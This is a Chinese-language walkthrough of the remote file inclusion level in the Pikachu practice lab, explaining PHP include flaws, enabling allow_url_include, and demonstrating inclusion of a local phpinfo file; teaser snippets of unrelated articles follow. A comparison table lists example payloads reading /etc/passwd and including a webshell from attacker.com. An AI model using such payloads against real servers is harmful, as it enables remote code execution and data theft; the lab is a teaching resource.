pikachu靶場通關筆記31 文件包含02之遠程文件包含

目錄

一、文件包含功能

二、文件包含Vulnerability

二、遠程文件包含

三、環境配置

1、進入靶場

2、搭建環境?

(1)定位php.ini文件

(2)修改php.ini文件

四、源碼分析

五、滲透實戰

1、選擇科比

2、執行phpinfo

(1)獲取腳本地址

(2)遠程文件包含滲透


本系列為《pikachu靶場通關筆記》滲透實戰,本文通過對文件包含關卡(File Inclusion)源碼的代碼審計找到產生缺陷的真實原因,講解遠程文件包含關卡的原理并進行滲透實踐。

一、文件包含功能

文件包含是Web開發中常用的功能,允許程序動態加載外部文件(如HTML模板、配置文件或代碼庫),以提高代碼復用性。在PHP中,主要通過以下函數實現:

  • include:包含文件,失敗時警告但繼續執行。

  • require:包含文件,失敗時終止程序。

  • include_once/require_once:避免重復包含。

二、文件包含Vulnerability

文件包含Vulnerability(File Inclusion Vulnerability)是指Web應用程序在包含文件(如PHP的includerequire等函數)時,未對用戶輸入進行嚴格過濾,導致攻擊者可以包含惡意文件(如服務器上的敏感文件或遠程腳本),從而造成任意代碼執行(RCE)敏感信息泄露

開發者常常會使用文件包含函數,像 PHP 的include()require()include_once()require_once()等,把其他文件內容包含到當前頁面中。若程序沒有對用戶輸入的文件路徑進行嚴格過濾與驗證,攻擊者就能夠通過構造特殊的輸入,讓應用程序包含惡意文件。

二、遠程文件包含

遠程文件包含(Remote File Inclusion,RFI)通常出現在服務器端腳本語言(如PHP、Java等)中。當應用程序通過用戶輸入動態地包含遠程服務器上的文件時,如果沒有對輸入進行嚴格過濾和驗證,攻擊者可以利用遠程文件包含缺陷將惡意文件放置在遠程服務器上,并通過構造包含惡意文件URL的請求,讓目標應用程序加載并執行該文件。

文件包含分為本地文件包含和遠程文件包含,兩者區別如下所示。

對比項本地文件包含(LFI)遠程文件包含(RFI)
定義包含服務器本地的任意文件包含遠程服務器上的惡意腳本文件
攻擊目標讀取敏感文件(如/etc/passwd、配置文件)直接執行遠程惡意代碼(如WebShell)
利用方式通過../等遍歷目錄通過URL包含http://ftp://遠程資源
PHP配置要求無需特殊配置allow_url_include=On(默認關閉)
危害等級中高危(信息泄露)嚴重(直接RCE,服務器淪陷)
典型攻擊載荷?file=../../etc/passwd?file=http://attacker.com/shell.php
依賴條件文件路徑可控1. 路徑可控
2. 服務器能訪問外網
常見防御措施1. 白名單限制文件路徑
2. 禁用目錄遍歷符號
1. 關閉allow_url_include
2. 過濾http://等協議
滲透測試用途1. 竊取配置文件
2. 結合日志注入執行代碼
1. 直接獲取服務器權限
2. 植入后門
偽協議利用支持(如php://filter讀取文件內容)支持(如php://input直接執行POST代碼)

三、環境配置

1、進入靶場

進入pikachu靶場的遠程文件包含關卡,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php

進入到遠程包含關卡頁面后發現提示“warning:你的allow_url_include沒有打開,請在php.ini中打開了再測試該關卡,記得修改后,重啟中間件服務!”,需要配置環境滿足條件,具體如下所示。?

2、搭建環境?

將php.ini文件里的allow_url_include改成On,遠程文件包含的前提是需要滿足如下條件。

allow_url_fopen=On (默認打開)
allow_url_include=On(默認關閉,所以要手動改為On)

(1)定位php.ini文件

方法1:①打開小皮工具,依次點擊設置—配置文件—php.ini—php版本號

方法2:②找到小皮工具文件夾—Extensions—php—php版本號—php.ini

(2)修改php.ini文件

?按照下圖查找并修改php.ini文件,開啟allow_url_include和allow_url_fopen,切記修改之后重啟小皮apache,否則不生效

四、源碼分析

打開piakchu靶場的源碼目錄,找到file_remote.php,具體如下所示。

源碼的主要功能是動態包含服務器本地或遠程文件,經過詳細注釋的源碼如下所示。

// 遠程文件包含風險的演示代碼
$html = ''; // 初始化HTML輸出變量// 檢查是否提交了表單且filename參數不為空
if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename']; // 直接獲取用戶輸入的filename參數include "$filename"; // 關鍵點:直接包含用戶可控的變量,無任何過濾!
}

?不過這段代碼有文件包含安全風險,如果allow_url_include=On配置打開還有遠程包含安全風險,原因如下所示。

原因具體問題
未過濾用戶輸入直接使用$_GET['filename'],攻擊者可注入惡意路徑。
危險函數調用include直接執行文件內容,若包含PHP文件會解析代碼。
配置依賴php.ini中開啟allow_url_include=On(默認關閉),否則僅能本地文件包含(LFI)。

五、滲透實戰

1、選擇科比

重啟Apache后重試pikachu靶場遠程文件上傳,選擇科比,留意當前URL地址,具體如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php#

此時進入到遠程文件包含頁面,已無3.1部分的警告信息,具體如下所示。?

選擇第一個運動員科比,留意URL地址,此時filename被賦值為filename=include%2Ffile1.php,具體如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4

2、執行phpinfo

(1)獲取腳本地址

在pikachu靶場的test目錄中,存在phpinfo.txt文件,其完整的URL地址如下所示。

http://127.0.0.1/pikachu/test/phpinfo.txt

(2)遠程文件包含滲透

?將5.1部分的filename=include/file1.php換成phpinfo的鏈接地址,具體如下所示。

filename=http://127.0.0.1/pikachu/test/phpinfo.txt

這樣遠程文件包含滲透的完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4

如下所示成功獲取到服務器的php信息,滲透成功。?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/83799.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/83799.shtml
英文地址,請注明出處:http://en.pswp.cn/web/83799.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

QT集成Boost庫

在Windows平臺上,使用Qt集成Boost庫,并基于MSVC編譯器在CMake文件中加載,可以按照以下步驟進行配置。 Boost庫的編譯 如果Boost庫未預編譯,需要手動編譯,解壓zip到D:\Library\boost_1_87_0,打開cmd命令行…

MySQL從庫復制延遲的監測

目錄 ?? 一、原生內置方法?? 二、心跳表工具(如pt-heartbeat)?? 三、MySQL 8.0 增強方案📊 四、各方案對比總結💎 五、選擇建議 MySQL從庫復制延遲的監測是保障數據一致性和讀寫分離可靠性的關鍵環節,以下是主流…

slam--最小二乘問題--凹凸函數

最小二乘問題 最小二乘問題標準公式 殘差函數,線性和非線性最小二乘 最小二乘問題的兩種寫法: 目標 找到 x使得預測值 Ax與觀測值 b 的殘差平方和最小。 范數和范數平方 線性最小二乘 一般形式: 殘差 rAx?b是x 的線性函數。 目標函數是…

crackme008

crackme008 名稱值軟件名稱Andrnalin.1.exe加殼方式無保護方式serial編譯語言Microsoft Visual Basic調試環境win10 64位使用工具x32dbg,PEid破解日期2025-06-10 脫殼 1. 先用PEid查殼 查到無殼 尋找Serial 尋找flag,用x32dbg打開程序,鼠標右鍵->…

【C語言】圖書管理系統(文件存儲版)丨源碼+詳解

一、系統介紹 這是一個基于C語言開發的終端圖書管理系統,采用鏈表數據結構??二進制文件存儲技術實現。系統具有以下特點: ?雙角色系統?:管理員(管理圖書)和讀者(借閱/歸還)?完整功能?&a…

Java求職者面試題解析:Spring、Spring Boot、MyBatis框架與源碼原理

Java求職者面試題解析:Spring、Spring Boot、MyBatis框架與源碼原理 第一輪:基礎概念問題 1. 請解釋什么是Spring框架?它的核心特性有哪些? Spring是一個開源的Java/Java EE應用程序框架,用于簡化企業級應用開發。其…

【Chipyard】修改Gemmini 中PE的數量

實戰目標 PE數量擴大到原來4倍 原來配置 tileRows: Int 1,tileColumns: Int 1,meshRows: Int 16,meshColumns: Int 16, 改后配置 tileRows: Int 1,tileColumns: Int 1,meshRows: Int 32,meshColumns: Int 32, 修改配置 1. 修改gemmini的scala配置文件,用…

TCP客戶端進程分割輸入輸出

創建TCP客戶端&#xff0c;創建子進程分割TCP客戶端的read功能和write功能&#xff0c;實現分割I/O的目的。加快客戶端速率。 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include …

Wi-Fi 6 在 2.4GHz 頻段的速率與優化分析

Wi-Fi 6&#xff08;802.11ax&#xff09;在 2.4GHz 和 5GHz 頻段均可工作&#xff0c;理論最高速率可達 1200 Mbps&#xff08;5GHz&#xff0c;80MHz&#xff0c;22 MIMO&#xff09;。但在 2.4GHz 頻段&#xff0c;速率受 信道寬度、MIMO、調制方式、干擾、協議開銷 影響&am…

WPF--Application.Current.Dispatcher.BeginInvoke

1.代碼示例 private void LogInfoList_CollectionChanged(object? sender, NotifyCollectionChangedEventArgs e) {// 直接在這里修改集合會引發遞歸if (e.Action NotifyCollectionChangedAction.Add){if (logInfoList.Count > 200){logInfoList.RemoveAt(0); // 這里會…

ZooKeeper詳解以及應用部署(AI)

ZooKeeper 是一個開源的分布式協調服務框架&#xff0c;旨在為分布式應用提供一致性保障和關鍵協調功能。其核心設計理念是將復雜的分布式一致性邏輯封裝為簡單可靠的接口&#xff0c;讓開發者專注于業務邏輯而非底層協調難題。以下是其核心要點&#xff1a; &#x1f9e0; 一、…

將MySQL數據庫中所有表和字段編碼統一改為utf8mb4_unicode_ci

完整操作步驟 1. 首先修改數據庫默認字符集 sql ALTER DATABASE 你的數據庫名 CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; 2. 生成批量修改所有表的SQL語句 sql SELECT CONCAT(ALTER TABLE , table_schema, ., table_name, CONVERT TO CHARACTER SET utf8mb4 C…

jupyterhub的淺淺使用-重點在解決無法登錄

jupyterhub的淺淺使用-重點在解決無法登錄 jupyterhub的淺淺使用-重點在解決無法登錄1、jupyterhub是什么2、創建Dockerfile3、啟動容器3.1、生成配置文件jupyterhub --generate-config3.2、運行容器3.3、進入容器配置用戶密碼3.4、訪問127.0.0.1:8000并登錄 4、后臺創建的用戶…

【Bitcoin基礎】比特幣的地址格式有哪些?如何應用?

比特幣地址格式的分類及應用場景 比特幣地址是用于接收和發送比特幣的標識符&#xff0c;主要有以下幾種格式&#xff0c;每中類型都有其特定的用途和特點: 比特幣地址格式 P2PKH 1xxxx leagcy地址 P2SH 3xxxx 允許更復雜的交易多重簽名 bech32 bc1xxxx bech32mP2TR…

3.1.2_棧的順序存儲實現

知識總覽&#xff1a; 順序棧的定義&#xff1a; 順序棧是用順序存儲實現的 &#xff0c;代碼定義方式和順序表類似(啥是順序表來著&#xff1f;&#xff1f;&#xff1f;) 定義一個順序棧struct結構體SqStack&#xff0c;結構體中有靜態數組data來存放棧里邊的元素1個int型的…

JavaEE初階第一期:計算機是如何 “思考” 的(上)

專欄&#xff1a;JavaEE初階起飛計劃 個人主頁&#xff1a;手握風云 一、馮諾依曼體系結構 1.1. 概念 馮諾依曼體系結構&#xff08;Von Neumann Architecture&#xff09;&#xff0c;是現代計算機的基礎設計概念&#xff0c;核心思想是“存儲程序控制”。具體來說&#xff0c…

SQL Server全局搜索:在整個數據庫中查找特定值的高效方法

SQL Server全局搜索&#xff1a;在整個數據庫中查找特定值的高效方法 一、需求背景&#xff1a;為什么需要數據庫全局搜索&#xff1f; 在數據庫管理和開發過程中&#xff0c;我們經常會遇到這樣的場景&#xff1a; 只記得某個數據值&#xff0c;但忘記了它所在的表或列需要…

萬物皆數:構建數字信號處理的數學基石

萬物皆數&#xff1a;構建數字信號處理的數學基石 歡迎來到數字信號處理&#xff08;DSP&#xff09;的世界。在這里&#xff0c;聲音、圖像、通信信號、醫療數據……一切信息都被轉化為一串串冰冷的數字。然而&#xff0c;正是通過對這些數字的精妙運算&#xff0c;我們得以實…

到院率最高提升40%,消費醫療用AI營銷機器人跑贏增長焦慮

當前&#xff0c;消費醫療機構普遍依賴人工咨詢師進行客戶接待和營銷咨詢。然而&#xff0c;專業咨詢師缺口高達20萬人&#xff0c;大量“護士轉咨詢”“銷售轉咨詢”現象導致方案設計專業性不足&#xff0c;客戶投訴率提升40%。人工客服不僅醫學知識薄弱&#xff0c;學習能力有…

【推薦算法】注意力機制與興趣演化:推薦系統如何抓住用戶的心?

注意力機制與興趣演化&#xff1a;推薦系統如何抓住用戶的心&#xff1f; 一、算法背景知識&#xff1a;從靜態推薦到動態感知1.1 傳統推薦系統的局限性1.2 人類注意力機制的啟示 二、算法理論/結構&#xff1a;動態興趣建模革命2.1 DIN&#xff08;深度興趣網絡&#xff09;&a…